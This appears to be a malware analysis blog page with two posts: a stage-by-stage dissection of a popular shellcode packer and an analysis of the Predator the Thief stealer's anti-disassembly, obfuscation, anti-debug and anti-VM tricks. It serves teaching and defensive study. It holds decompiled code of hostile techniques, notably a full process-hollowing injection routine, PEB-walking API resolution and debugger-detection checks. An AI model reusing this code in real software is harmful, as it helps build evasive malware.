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Before yesterdayMalware

Anatomy of a simple and popular packer

24 April 2021 at 20:25
By: fumko

It's been a while that I haven't release some stuff here and indeed, it's mostly caused by how fucked up 2020 was. I would have been pleased if this global pandemic hasn't wrecked me so much but i was served as well. Nowadays, with everything closed, corona haircut is new trend and finding a graphic cards or PS5 is like winning at the lottery. So why not fflush all that bullshit by spending some time into malware curiosities (with the support of some croissant and animes), whatever the time, weebs are still weebs.

So let's start 2021 with something really simple... Why not dissecting completely to the ground a well-known packer mixing C/C++ & shellcode (active since some years now).

Typical icons that could be seen with this packer

This one is a cool playground for checking its basics with someone that need to start learning into malware analysis/reverse engineering:

  • Obfuscation
  • Cryptography
  • Decompression
  • Multi-stage
  • Shellcode
  • Remote Thread Hijacking

Disclamer: This post will be different from what i'm doing usually in my blog with almost no text but i took the time for decompiling and reviewing all the code. So I considered everything is explain.

For this analysis, this sample will be used:

B7D90C9D14D124A163F5B3476160E1CF

Architecture

Speaking of itself, the packer is split into 3 main stages:

  • A PE that will allocate, decrypt and execute the shellcode n°1
  • Saving required WinAPI calls, decrypting, decompressing and executing shellcode n°2
  • Saving required WinAPI calls (again) and executing payload with a remote threat hijacking trick

An overview of this packer

Stage 1 - The PE

The first stage is misleading the analyst to think that a decent amount of instructions are performed, but... after purging all the junk code and unused functions, the cleaned Winmain function is unveiling a short and standard setup for launching a shellcode.

int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
  int i; 
  SIZE_T uBytes; 
  HMODULE hModule; 

  // Will be used for Virtual Protect call
  hKernel32 = LoadLibraryA("kernel32.dll");

  // Bullshit stuff for getting correct uBytes value
  uBytes = CONST_VALUE

  _LocalAlloc();

  for ( i = 0; j < uBytes; ++i ) {
    (_FillAlloc)();
  }

  _VirtualProtect();

  // Decrypt function vary between date & samples
  _Decrypt();     
  _ExecShellcode();

  return 0;
}

It's important to notice this packer is changing its first stage regularly, but it doesn't mean the whole will change in the same way. In fact, the core remains intact but the form will be different, so whenever you have reversed this piece of code once, the pattern is recognizable easily in no time.

Beside using a classic VirtualAlloc, this one is using LocalAlloc for creating an allocated memory page to store the second stage. The variable uBytes was continuously created behind some spaghetti code (global values, loops and conditions).

int (*LocalAlloc())(void)
{
  int (*pBuff)(void); // eax

  pBuff = LocalAlloc(0, uBytes);
  Shellcode = pBuff;
  return pBuff;
}

For avoiding giving directly the position of the shellcode, It's using a simple addition trick for filling the buffer step by step.

int __usercall FillAlloc(int i)
{
  int result; // eax

  // All bullshit code removed
  result = dword_834B70 + 0x7E996;
  *(Shellcode + i) = *(dword_834B70 + 0x7E996 + i);
  return result;
}

Then obviously, whenever an allocation is called, VirtualProtect is not far away for finishing the job. The function name is obfuscated as first glance and adjusted. then for avoiding calling it directly, our all-time classic GetProcAddress will do the job for saving this WinAPI call into a pointer function.

BOOL __stdcall VirtualProtect()
{
  char v1[4]; // [esp+4h] [ebp-4h] BYREF

  String = 0;
  lstrcatA(&String, "VertualBritect");          // No ragrets
  byte_442581 = 'i';
  byte_442587 = 'P';
  byte_442589 = 'o';
  pVirtualProtect = GetProcAddress(hKernel32, &String);
  return (pVirtualProtect)(Shellcode, uBytes, 64, v1);
}

Decrypting the the first shellcode

The philosophy behind this packer will lead you to think that the decryption algorithm will not be that much complex. Here the encryption used is TEA, it's simple and easy to used

void Decrypt()
{
  SIZE_T size;
  PVOID sc; 
  SIZE_T i; 

  size = uBytes;
  sc = Shellcode;
  for ( i = size >> 3; i; --i )
  {
    _TEADecrypt(sc);                   
    sc = sc + 8;                  // +8 due it's v[0] & v[1] with TEA Algorithm
  }
}

I am always skeptical whenever i'm reading some manual implementation of a known cryptography algorithm, due that most of the time it could be tweaked. So before trying to understand what are the changes, let's take our time to just make sure about which variable we have to identified:

  • v[0] and v[1]
  • y & z
  • Number of circles (n=32)
  • 16 bytes key represented as k[0], k[1], k[2], k[3]
  • delta
  • sum

Identifying TEA variables in x32dbg

For adding more salt to it, you have your dose of mindless amount of garbage instructions.

Junk code hiding the algorithm

After removing everything unnecessary, our TEA decryption algorithm is looking like this

int *__stdcall _TEADecrypt(int *v)
{
  unsigned int y, z, sum;
  int i, v7, v8, v9, v10, k[4]; 
  int *result;

  y = *v;
  z = v[1];
  sum = 0xC6EF3720;

  k[0] = dword_440150;
  k[1] = dword_440154;
  k[3] = dword_440158;
  k[2] = dword_44015C;

  i = 32;
  do
  {
    // Junk code purged
    v7 = k[2] + (y >> 5);
    v9 = (sum + y) ^ (k[3] + 16 * y);
    v8 = v9 ^ v7;
    z -= v8;
    v10 = k[0] + 16 * z;
    (_TEA_Y_Operation)((sum + z) ^ (k[1] + (z >> 5)) ^ v10);
    sum += 0x61C88647;  // exact equivalent of sum -= 0x9
    --i;
  }

  while ( i );
  result = v;
  v[1] = z;
  *v = y;
  return result;
}

At this step, the first stage of this packer is now almost complete. By inspecting the dump, you can recognizing our shellcode being ready for action (55 8B EC opcodes are in my personal experience stuff that triggered me almost everytime).

Stage 2 - Falling into the shellcode playground

This shellcode is pretty simple, the main function is just calling two functions:

  • One focused for saving fundamentals WinAPI call
  • Creating the shellcode API structure and setup the workaround for pushing and launching the last shellcode stage

Shellcode main()

Give my WinAPI calls

Disclamer: In this part, almost no text explanation, everything is detailed with the code

PEB & BaseDllName

Like any another shellcode, it needs to get some address function to start its job, so our PEB best friend is there to do the job.

00965233 | 55                       | push ebp                                      |
00965234 | 8BEC                     | mov ebp,esp                                   |
00965236 | 53                       | push ebx                                      |
00965237 | 56                       | push esi                                      |
00965238 | 57                       | push edi                                      |
00965239 | 51                       | push ecx                                      |
0096523A | 64:FF35 30000000         | push dword ptr fs:[30]                        | Pointer to PEB
00965241 | 58                       | pop eax                                       |
00965242 | 8B40 0C                  | mov eax,dword ptr ds:[eax+C]                  | Pointer to Ldr
00965245 | 8B48 0C                  | mov ecx,dword ptr ds:[eax+C]                  | Pointer to Ldr->InLoadOrderModuleList
00965248 | 8B11                     | mov edx,dword ptr ds:[ecx]                    | Pointer to List Entry (aka pEntry)
0096524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]                 | Pointer to BaseDllName buffer (pEntry->DllBaseName->Buffer)

Let's take a look then in the PEB structure

For beginners, i sorted all these values with there respective variable names and meaning.

offset Type Variable Value
0x00 LIST_ENTRY InLoaderOrderModuleList->Flink A8 3B 8D 00
0x04 LIST_ENTRY InLoaderOrderModuleList->Blink C8 37 8D 00
0x08 LIST_ENTRY InMemoryOrderList->Flink B0 3B 8D 00
0x0C LIST_ENTRY InMemoryOrderList->Blick D0 37 8D 00
0x10 LIST_ENTRY InInitializationOrderModulerList->Flink 70 3F 8D 00
0x14 LIST_ENTRY InInitializationOrderModulerList->Blink BC 7B CC 77
0x18 PVOID BaseAddress 00 00 BB 77
0x1C PVOID EntryPoint 00 00 00 00
0x20 UINT SizeOfImage 00 00 19 00
0x24 UNICODE_STRING FullDllName 3A 00 3C 00 A0 35 8D 00
0x2C UNICODE_STRING BaseDllName 12 00 14 00 B0 6D BB 77

Because he wants at the first the BaseDllName for getting kernel32.dll We could supposed the shellcode will use the offset 0x2c for having the value but it's pointing to 0x30

008F524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]   

It means, It will grab buffer pointer from the UNICODE_STRING structure

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

After that, the magic appears

Register Address Symbol Value
EAX 77BB6DB0 L"ntdll.dll"

Homemade checksum algorithm ?

Searching a library name or function behind its respective hash is a common trick performed in the wild.

00965248 | 8B11                     | mov edx,dword ptr ds:[ecx]                    | Pointer to List Entry (aka pEntry)
0096524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]                 | Pointer to BaseDllName buffer 
0096524D | 6A 02                    | push 2                                        | Increment is 2 due to UNICODE value
0096524F | 8B7D 08                  | mov edi,dword ptr ss:[ebp+8]                  |
00965252 | 57                       | push edi                                      | DLL Hash (searched one)
00965253 | 50                       | push eax                                      | DLL Name
00965254 | E8 5B000000              | call 9652B4                                   | Checksum()
00965259 | 85C0                     | test eax,eax                                  |
0096525B | 74 04                    | je 965261                                     |
0096525D | 8BCA                     | mov ecx,edx                                   | pEntry = pEntry->Flink
0096525F | EB E7                    | jmp 965248                                    |

The checksum function used here seems to have a decent risk of hash collisions, but based on the number of occurrences and length of the strings, it's negligible. Otherwise yeah, it could be fucked up very quickly.

BOOL Checksum(PWSTR *pBuffer, int hash, int i)
{
  int pos; // ecx
  int checksum; // ebx
  int c; // edx

  pos = 0;
  checksum = 0;
  c = 0;
  do
  {
    LOBYTE(c) = *pBuffer | 0x60;                // Lowercase
    checksum = 2 * (c + checksum);
    pBuffer += i;                               // +2 due it's UNICODE
    LOBYTE(pos) = *pBuffer;
    --pos;
  }
  while ( *pBuffer && pos );
  return checksum != hash;
}

Find the correct function address

With the pEntry list saved and the checksum function assimilated, it only needs to perform a loop that repeat the process to get the name of the function, put him into the checksum then comparing it with the one that the packer wants.

00965261 | 8B41 18                  | mov eax,dword ptr ds:[ecx+18]                 | BaseAddress
00965264 | 50                       | push eax                                      |
00965265 | 8B58 3C                  | mov ebx,dword ptr ds:[eax+3C]                 | PE Signature (e_lfanew) RVA
00965268 | 03C3                     | add eax,ebx                                   | pNTHeader = BaseAddress + PE Signature RVA
0096526A | 8B58 78                  | mov ebx,dword ptr ds:[eax+78]                 | Export Table RVA
0096526D | 58                       | pop eax                                       |
0096526E | 50                       | push eax                                      |
0096526F | 03D8                     | add ebx,eax                                   | Export Table
00965271 | 8B4B 1C                  | mov ecx,dword ptr ds:[ebx+1C]                 | Address of Functions RVA
00965274 | 8B53 20                  | mov edx,dword ptr ds:[ebx+20]                 | Address of Names RVA
00965277 | 8B5B 24                  | mov ebx,dword ptr ds:[ebx+24]                 | Address of Name Ordinals RVA
0096527A | 03C8                     | add ecx,eax                                   | Address Table
0096527C | 03D0                     | add edx,eax                                   | Name Pointer Table (NPT)
0096527E | 03D8                     | add ebx,eax                                   | Ordinal Table (OT)
00965280 | 8B32                     | mov esi,dword ptr ds:[edx]                    |
00965282 | 58                       | pop eax                                       |
00965283 | 50                       | push eax                                      | BaseAddress
00965284 | 03F0                     | add esi,eax                                   | Function Name = NPT[i] + BaseAddress
00965286 | 6A 01                    | push 1                                        | Increment to 1 loop
00965288 | FF75 0C                  | push dword ptr ss:[ebp+C]                     | Function Hash (searched one)
0096528B | 56                       | push esi                                      | Function Name
0096528C | E8 23000000              | call 9652B4                                   | Checksum()
00965291 | 85C0                     | test eax,eax                                  |
00965293 | 74 08                    | je 96529D                                     |
00965295 | 83C2 04                  | add edx,4                                     |
00965298 | 83C3 02                  | add ebx,2                                     |
0096529B | EB E3                    | jmp 965280                                    |

Save the function address

When the name is matching with the hash in output, so it only requiring now to grab the function address and store into EAX.

0096529D | 58                       | pop eax                                       |
0096529E | 33D2                     | xor edx,edx                                   | Purge
009652A0 | 66:8B13                  | mov dx,word ptr ds:[ebx]                      |
009652A3 | C1E2 02                  | shl edx,2                                     | Ordinal Value
009652A6 | 03CA                     | add ecx,edx                                   | Function Address RVA
009652A8 | 0301                     | add eax,dword ptr ds:[ecx]                    | Function Address = BaseAddress + Function Address RVA
009652AA | 59                       | pop ecx                                       |
009652AB | 5F                       | pop edi                                       |
009652AC | 5E                       | pop esi                                       |
009652AD | 5B                       | pop ebx                                       |
009652AE | 8BE5                     | mov esp,ebp                                   |
009652B0 | 5D                       | pop ebp                                       |
009652B1 | C2 0800                  | ret 8                                         |

Road to the second shellcode ! \o/

Saving API into a structure

Now that LoadLibraryA and GetProcAddress are saved, it only needs to select the function name it wants and putting it into the routine explain above.

In the end, the shellcode is completely setup

struct SHELLCODE
{
  _BYTE Start;
  SCHEADER *ScHeader;
  int ScStartOffset;
  int seed;
  int (__stdcall *pLoadLibraryA)(int *);
  int (__stdcall *pGetProcAddress)(int, int *);
  PVOID GlobalAlloc;
  PVOID GetLastError;
  PVOID Sleep;
  PVOID VirtuaAlloc;
  PVOID CreateToolhelp32Snapshot;
  PVOID Module32First;
  PVOID CloseHandle;
};

struct SCHEADER
{
  _DWORD dwSize;
  _DWORD dwSeed;
  _BYTE option;
  _DWORD dwDecompressedSize;
};

Abusing fake loops

Something that i really found cool in this packer is how the fake loop are funky. They have no sense but somehow they are working and it's somewhat amazing. The more absurd it is, the more i like and i found this really clever.

int __cdecl ExecuteShellcode(SHELLCODE *sc)
{
  unsigned int i; // ebx
  int hModule; // edi
  int lpme[137]; // [esp+Ch] [ebp-224h] BYREF

  lpme[0] = 0x224;
  for ( i = 0; i < 0x64; ++i )
  {
    if ( i )
      (sc->Sleep)(100);
    hModule = (sc->CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, 0);
    if ( hModule != -1 )
      break;
    if ( (sc->GetLastError)() != 24 )
      break;
  }
  if ( (sc->Module32First)(hModule, lpme) )
    JumpToShellcode(sc); // <------ This is where to look :)
  return (sc->CloseHandle)(hModule);
}

Allocation & preparing new shellcode

void __cdecl JumpToShellcode(SHELLCODE *SC)
{
  int i; 
  unsigned __int8 *lpvAddr; 
  unsigned __int8 *StartOffset; 

  StartOffset = SC->ScStartOffset;
  Decrypt(SC, StartOffset, SC->ScHeader->dwSize, SC->ScHeader->Seed);
  if ( SC->ScHeader->Option )
  {
    lpvAddr = (SC->VirtuaAlloc)(0, *(&SC->ScHeader->dwDecompressSize), 4096, 64);
    i = 0;
    Decompress(StartOffset, SC->ScHeader->dwDecompressSize, lpvAddr, i);
    StartOffset = lpvAddr;
    SC->ScHeader->CompressSize = i;
  }
  __asm { jmp     [ebp+StartOffset] }

Decryption & Decompression

The decryption is even simpler than the one for the first stage by using a simple re-implementation of the ms_rand function, with a set seed value grabbed from the shellcode structure, that i decided to call here SCHEADER

int Decrypt(SHELLCODE *sc, int startOffset, unsigned int size, int s)
{
int seed; // eax
unsigned int count; // esi
_BYTE *v6; // edx

seed = s;
count = 0;
for ( API->seed = s; count < size; ++count )
{
seed = ms_rand(sc);
*v6 ^= seed;
}
return seed;
}

XOR everywhere \o/

Then when it's done, it only needs to be decompressed.

Decrypted shellcode entering into the decompression loop

Stage 3 - Launching the payload

Reaching finally the final stage of this packer. This is the exact same pattern like the first shellcode:

  • Find & Stored GetProcAddress & Load Library
  • Saving all WinAPI functions required
  • Pushing the payload

The structure from this one is a bit longer

struct SHELLCODE
{
  PVOID (__stdcall *pLoadLibraryA)(LPCSTR);
  PVOID (__stdcall *pGetProcAddress)(HMODULE, LPSTR);
  char notused;
  PVOID ScOffset;
  PVOID LoadLibraryA;
  PVOID MessageBoxA;
  PVOID GetMessageExtraInfo;
  PVOID hKernel32;
  PVOID WinExec;
  PVOID CreateFileA;
  PVOID WriteFile;
  PVOID CloseHandle;
  PVOID CreateProcessA;
  PVOID GetThreadContext;
  PVOID VirtualAlloc;
  PVOID VirtualAllocEx;
  PVOID VirtualFree;
  PVOID ReadProcessMemory;
  PVOID WriteProcessMemory;
  PVOID SetThreadContext;
  PVOID ResumeThread;
  PVOID WaitForSingleObject;
  PVOID GetModuleFileNameA;
  PVOID GetCommandLineA;
  PVOID RegisterClassExA;
  PVOID CreateWindowA;
  PVOID PostMessageA;
  PVOID GetMessageA;
  PVOID DefWindowProcA;
  PVOID GetFileAttributesA;
  PVOID hNtdll;
  PVOID NtUnmapViewOfSection;
  PVOID NtWriteVirtualMemory;
  PVOID GetStartupInfoA;
  PVOID VirtualProtectEx;
  PVOID ExitProcess;
};

Interestingly, the stack string trick is different from the first stage

Fake loop once, fake loop forever

At this rate now, you understood, that almost everything is a lie in this packer. We have another perfect example here, with a fake loop consisting of checking a non-existent file attribute where in the reality, the variable "j" is the only one that have a sense.

void __cdecl _Inject(SC *sc)
{
  LPSTRING lpFileName; // [esp+0h] [ebp-14h]
  char magic[8]; 
  unsigned int j; 
  int i; 

  strcpy(magic, "apfHQ");
  j = 0;
  i = 0;
  while ( i != 111 )
  {
    lpFileName = (sc->GetFileAttributesA)(magic);
    if ( j > 1 && lpFileName != 0x637ADF )
    {
      i = 111;
      SetupInject(sc);
    }
    ++j;
  }
}

Good ol' remote thread hijacking

Then entering into the Inject setup function, no need much to say, the remote thread hijacking trick is used for executing the final payload.

  ScOffset = sc->ScOffset;
  pNtHeader = (ScOffset->e_lfanew + sc->ScOffset);
  lpApplicationName = (sc->VirtualAlloc)(0, 0x2800, 0x1000, 4);
  status = (sc->GetModuleFileNameA)(0, lpApplicationName, 0x2800);
  
  if ( pNtHeader->Signature == 0x4550 ) // "PE"
  {
    (sc->GetStartupInfoA)(&lpStartupInfo);
    lpCommandLine = (sc->GetCommandLineA)(0, 0, 0, 0x8000004, 0, 0, &lpStartupInfo, &lpProcessInformation);
    status = (sc->CreateProcessA)(lpApplicationName, lpCommandLine);
    if ( status )
    {
      (sc->VirtualFree)(lpApplicationName, 0, 0x8000);
      lpContext = (sc->VirtualAlloc)(0, 4, 4096, 4);
      lpContext->ContextFlags = &loc_10005 + 2;
      status = (sc->GetThreadContext)(lpProcessInformation.hThread, lpContext);
      if ( status )
      {
        (sc->ReadProcessMemory)(lpProcessInformation.hProcess, lpContext->Ebx + 8, &BaseAddress, 4, 0);
        if ( BaseAddress == pNtHeader->OptionalHeader.ImageBase )
          (sc->NtUnmapViewOfSection)(lpProcessInformation.hProcess, BaseAddress);
        lpBaseAddress = (sc->VirtualAllocEx)(
                          lpProcessInformation.hProcess,
                          pNtHeader->OptionalHeader.ImageBase,
                          pNtHeader->OptionalHeader.SizeOfImage,
                          0x3000,
                          0x40);
        (sc->NtWriteVirtualMemory)(
          lpProcessInformation.hProcess,
          lpBaseAddress,
          sc->ScOffset,
          pNtHeader->OptionalHeader.SizeOfHeaders,
          0);
        for ( i = 0; i < pNtHeader->FileHeader.NumberOfSections; ++i )
        {
          Section = (ScOffset->e_lfanew + sc->ScOffset + 40 * i + 248);
          (sc->NtWriteVirtualMemory)(
            lpProcessInformation.hProcess,
            Section[1].Size + lpBaseAddress,
            Section[2].Size + sc->ScOffset,
            Section[2].VirtualAddress,
            0);
        }
        (sc->WriteProcessMemory)(
          lpProcessInformation.hProcess,
          lpContext->Ebx + 8,
          &pNtHeader->OptionalHeader.ImageBase,
          4,
          0);
        lpContext->Eax = pNtHeader->OptionalHeader.AddressOfEntryPoint + lpBaseAddress;
        (sc->SetThreadContext)(lpProcessInformation.hThread, lpContext);
        (sc->ResumeThread)(lpProcessInformation.hThread);
        (sc->CloseHandle)(lpProcessInformation.hThread);
        (sc->CloseHandle)(lpProcessInformation.hProcess);
        status = (sc->ExitProcess)(0);
      }
    }
  }

Same but different, but still the same

As explained at the beginning, whenever you have reversed this packer, you understand that the core is pretty similar every-time. It took only few seconds, to breakpoints at specific places to reach the shellcode stage(s).

Identifying core pattern (LocalAlloc, Module Handle and VirtualProtect)

The funny is on the decryption used now in the first stage, it's the exact copy pasta from the shellcode side.

TEA decryption replaced with rand() + xor like the first shellcode stage

At the start of the second stage, there is not so much to say that the instructions are almost identical

Shellcode n°1 is identical into two different campaign waves

It seems that the second shellcode changed few hours ago (at the date of this paper), so let's see if other are motivated to make their own analysis of it

Conclusion

Well well, it's cool sometimes to deal with something easy but efficient. It has indeed surprised me to see that the core is identical over the time but I insist this packer is really awesome for training and teaching someone into malware/reverse engineering.

Well, now it's time to go serious for the next release 🙂

Stay safe in those weird times o/

Let’s play (again) with Predator the thief

25 December 2019 at 19:49
By: fumko

Whenever I reverse a sample, I am mostly interested in how it was developed, even if in the end the techniques employed are generally the same, I am always curious about what was the way to achieve a task, or just simply understand the code philosophy of a piece of code. It is a very nice way to spot different trending and discovering (sometimes) new tricks that you never know it was possible to do. This is one of the main reasons, I love digging mostly into stealers/clippers for their accessibility for being reversed, and enjoying malware analysis as a kind of game (unless some exceptions like Nymaim that is literally hell).

It's been 1 year and a half now that I start looking into "Predator The Thief", and this malware has evolved over time in terms of content added and code structure. This impression could be totally different from others in terms of stealing tasks performed, but based on my first in-depth analysis,, the code has changed too much and it was necessary to make another post on it.

This one will focus on some major aspects of the 3.3.2 version, but will not explain everything (because some details have already been mentioned in other papers,  some subjects are known). Also, times to times I will add some extra commentary about malware analysis in general.

Anti-Disassembly

When you open an unpacked binary in IDA or other disassembler software like GHIDRA, there is an amount of code that is not interpreted correctly which leads to rubbish code, the incapacity to construct instructions or showing some graph. Behind this, it's obvious that an anti-disassembly trick is used.

predator_anti_analysis_02

The technique exploited here is known and used in the wild by other malware, it requires just a few opcodes to process and leads at the end at the creation of a false branch. In this case, it begins with a simple xor instruction that focuses on configuring the zero flag and forcing the JZ jump condition to work no matter what, so, at this stage, it's understandable that something suspicious is in progress. Then the MOV opcode (0xB8) next to the jump is a 5 bytes instruction and disturbing the disassembler to consider that this instruction is the right one to interpret beside that the correct opcode is inside this one, and in the end, by choosing this wrong path malicious tasks are hidden.

Of course, fixing this issue is simple, and required just a few seconds. For example with IDA, you need to undefine the MOV instruction by pressing the keyboard shortcut "U", to produce this pattern.

predator_anti_analysis_03

Then skip the 0xB8 opcode, and pushing on "C" at the 0xE8 position, to configure the disassembler to interpret instruction at this point.

predator_anti_analysis_04

Replacing the 0xB8 opcode by 0x90. with a hexadecimal editor, will fix the issue. Opening again the patched PE, you will see that IDA is now able to even show the graph mode.

After patching it, there are still some parts that can't be correctly parsed by the disassembler, but after reading some of the code locations, some of them are correct, so if you want to create a function, you can select the "loc" section then pushed on "P" to create a sub-function, of course, this action could lead to some irreversible thing if you are not sure about your actions and end to restart again the whole process to remove a the ant-disassembly tricks, so this action must be done only at last resort.

Code Obfuscation

Whenever you are analyzing Predator, you know that you will have to deal with some obfuscation tricks almost everywhere just for slowing down your code analysis. Of course, they are not complicated to assimilate, but as always, simple tricks used at their finest could turn a simple fun afternoon to literally "welcome to Dark Souls". The concept was already there in the first in-depth analysis of this malware, and the idea remains over and over with further updates on it. The only differences are easy to guess :

  • More layers of obfuscation have been added
  • Techniques already used are just adjusted.
  • More dose of randomness

As a reversing point of view, I am considering this part as one the main thing to recognized this stealer, even if of course, you can add network communication and C&C pattern as other ways for identifying it, inspecting the code is one way to clarify doubts (and I understand that this statement is for sure not working for every malware), but the idea is that nowadays it's incredibly easy to make mistakes by being dupe by rules or tags on sandboxes, due to similarities based on code-sharing, or just literally creating false flag.

GetModuleAddress

Already there in a previous analysis, recreating the GetProcAddress is a popular trick to hide an API call behind a simple register call. Over the updates, the main idea is still there but the main procedures have been modified, reworked or slightly optimized.

First of all, we recognized easily the PEB retrieved by spotting fs[0x30] behind some extra instructions.

predator_getmodulehandle_01

then from it, the loader data section is requested for two things:

  • Getting the InLoadOrderModuleList pointer
  • Getting the InMemoryOrderModuleList pointer

For those who are unfamiliar by this, basically, the PEB_LDR_DATA is a structure is where is stored all the information related to the loaded modules of the process.

Then, a loop is performing a basic search on every entry of the module list but in "memory order" on the loader data, by retrieving the module name, generating a hash of it and when it's done, it is compared with a hardcoded obfuscated hash of the kernel32 module and obviously, if it matches, the module base address is saved, if it's not, the process is repeated again and again.

predator_getmodulehandle_02

The XOR kernel32 hashes compared with the one created

Nowadays, using hashes for a function name or module name is something that you can see in many other malware, purposes are multiple and this is one of the ways to hide some actions. An example of this code behavior could be found easily on the internet and as I said above, this one is popular and already used.

GetProcAddress / GetLoadLibrary

Always followed by GetModuleAddress, the code for recreating GetProcAddress is by far the same architecture model than the v2, in term of the concept used. If the function is forwarded, it will basically perform a recursive call of itself by getting the forward address, checking if the library is loaded then call GetProcAddress again with new values.

Xor everything

It's almost unnecessary to talk about it, but as in-depth analysis, if you have never read the other article before, it's always worth to say some words on the subject (as a reminder). The XOR encryption is a common cipher that required a rudimentary implementation for being effective :

  • Only one operator is used (XOR)
  • it's not consuming resources.
  • It could be used as a component of other ciphers

This one is extremely popular in malware and the goal is not really to produce strong encryption because it's ridiculously easy to break most of the time, they are used for hiding information or keywords that could be triggering alerts, rules...

  • Communication between host & server
  • Hiding strings
  • Or... simply used as an absurd step for obfuscating the code
  • etc...

A typical example in Predator could be seeing huge blocks with only two instructions (XOR & MOV), where stacks strings are decrypted X bytes per X bytes by just moving content on a temporary value (stored on EAX), XORed then pushed back to EBP, and the principle is reproduced endlessly again and again. This is rudimentary, In this scenario, it's just part of the obfuscation process heavily abused by predator, for having an absurd amount of instruction for simple things.

predator_xor_01

Also for some cases, When a hexadecimal/integer value is required for an API call, it could be possible to spot another pattern of a hardcoded string moved to a register then only one XOR instruction is performed for revealing the correct value, this trivial thing is used for some specific cases like the correct position in the TEB for retrieving the PEB, an RVA of a specific module, ...

predator_ntsetinformationthread

Finally, the most common one, there is also the classic one used by using a for loop for a one key length XOR key, seen for decrypting modules, functions, and other things...

str = ... # encrypted string

for i, s in enumerate(str):
  s[i] = s[i] ^ s[len(str)-1]

Sub everything

Let's consider this as a perfect example of "let's do the same exact thing by just changing one single instruction", so in the end, a new encryption method is used with no effort for the development. That's how a SUB instruction is used for doing the substitution cipher. The only difference that I could notice it's how the key is retrieved.

predator_sub_02

Besides having something hardcoded directly, a signed 32-bit division is performed, easily noticeable by the use of cdq & idiv instructions, then the dl register (the remainder) is used for the substitution.

Stack Strings

stack strings

What's the result in the end?

Merging these obfuscation techniques leads to a nonsense amount of instructions for a basic task, which will obviously burn you some hours of analysis if you don't take some time for cleaning a bit all that mess with the help of some scripts or plenty other ideas, that could trigger in your mind. It could be nice to see these days some scripts released by the community.

predator_main

Simple tricks lead to nonsense code

Anti-Debug

There are plenty of techniques abused here that was not in the first analysis, this is not anymore a simple PEB.BeingDebugged or checking if you are running a virtual machine, so let's dig into them. one per one except CheckRemoteDebugger! This one is enough to understand by itself :')

NtSetInformationThread

One of the oldest tricks in windows and still doing its work over the years. Basically in a very simple way (because there is a lot thing happening during the process), NtSetInformationThread is called with a value (0x11) obfuscated by a XOR operator. This parameter is a ThreadInformationClass with a specific enum called ThreadHideFromDebugger and when it's executed, the debugger is not able to catch any debug information. So the supposed pointer to the corresponding thread is, of course, the malware and when you are analyzing it with a debugger, it will result to detach itself.

predator_ntsetinformationthread

CloseHandle/NtClose

Inside WinMain, a huge function is called with a lot of consecutive anti-debug tricks, they were almost all indirectly related to some techniques patched by TitanHide (or strongly looks like), the first one performed is a really basic one, but pretty efficient to do the task.

Basically, when CloseHandle is called with an inexistent handle or an invalid one, it will raise an exception and whenever you have a debugger attached to the process, it will not like that at all. To guarantee that it's not an issue for a normal interaction a simple __try / __except method is used, so if this API call is requested, it will safely lead to the end without any issue.

predator_closehandle

The invalid handle used here is a static one and it's L33T code with the value 0xBAADAA55 and makes me bored as much as this face.

not_amused

That's not a surprise to see stuff like this from the malware developer. Inside jokes, l33t values, animes and probably other content that I missed are something usual to spot on Predator.

ProcessDebugObjectHandle

When you are debugging a process, Microsoft Windows is creating a "Debug" object and a handle corresponding to it. At this point, when you want to check if this object exists on the process, NtQueryInformationProcess is used with the ProcessInfoClass initialized by  0x1e (that is in fact, ProcessDebugObjectHandle).

predator_antidebug

In this case, the NTStatus value (returning result by the API call) is an error who as the ID 0xC0000353, aka STATUS_PORT_NOT_SET. This means, "An attempt to remove a process's DebugPort was made, but a port was not already associated with the process.". The anti-debug trick is to verify if this error is there, that's all.

NtGetContextThread

This one is maybe considered as pretty wild if you are not familiar with some hardware breakpoints. Basically, there are some registers that are called "Debug Register" and they are using the DRX nomenclature  (DR0 to DR7). When GetThreadContext is called, the function will retrieve al the context information from a thread.

For those that are not familiar with a context structure, it contains all the register data from the corresponding element. So, with this data in possession, it only needs to check if those DRX registers are initiated with a value not equal to 0.

predator_getthreadcontext

On the case here, it's easily spottable to see that 4 registers are checked

if (ctx->Dr0 != 0 || ctx->Dr1 != 0 || ctx->Dr2 != 0 || ctx->Dr3 != 0)

Int 3 breakpoint

int 3 (or Interrupt 3) is a popular opcode to force the debugger to stop at a specific offset. As said in the title, this is a breakpoint but if it's executed without any debugging environment, the exception handler is able to deal with this behavior and will continue to run without any issue. Unless I missed something, here is the scenario.

predator_breakpoint

By the way,  as another scenario used for this one (the int 3), the number of this specific opcode triggered could be also used as an incremented counter, if the counter is above a specific value, a simplistic condition is sufficient to check if it's executed into a debugger in that way.

Debug Condition

With all the techniques explained above, in the end, they all lead to a final condition step if of course, the debugger hasn't crashed. The checking task is pretty easy to understand and it remains to a simple operation: "setting up a value to EAX during the anti-debug function", if everything is correct this register will be set to zero, if not we could see all the different values that could be possible.

anti_debug_condition

bloc in red is the correct condition over all the anti-debug tests

...And when the Anti-Debug function is done, the register EAX is checked by the test operator, so the ZF flag is determinant for entering into the most important loop that contains the main function of the stealer.

predator_anti_debug_02

Anti-VM

The Anti VM is presented as an option in Predator and is performed just after the first C&C requests.

Anti-VM-Predator-Option

Tricks used are pretty olds and basically using Anti-VM Instructions

  • SIDT
  • SGDT
  • STR
  • CPUID (Hypervisor Trick)

By curiosity, this option is not by default performed if the C&C is not reachable.

Paranoid & Organized Predator

When entering into the "big main function", the stealer is doing "again" extra validations if you have a valid payload (and not a modded one), you are running it correctly and being sure again that you are not analyzing it.

This kind of paranoid checking step is a result of the multiple cases of cracked builders developed and released in the wild (mostly or exclusively at a time coming from XakFor.Net). Pretty wild and fun to see when Anti-Piracy protocols are also seen in the malware scape.

Then the malware is doing a classic organized setup to perform all the requested actions and could be represented in that way.

Predator_Roadmap

Of course as usual and already a bit explained in the first paper, the C&C domain is retrieved in a table of function pointers before the execution of the WinMain function (where the payload is starting to do tasks).

__initerm

You can see easily all the functions that will be called based on the starting location (__xc_z) and the ending location (__xc_z).

pointer_c2

Then you can spot easily the XOR strings that hide the C&C domain like the usual old predator malware.

xor_c2_domain

Data Encryption & Encoding

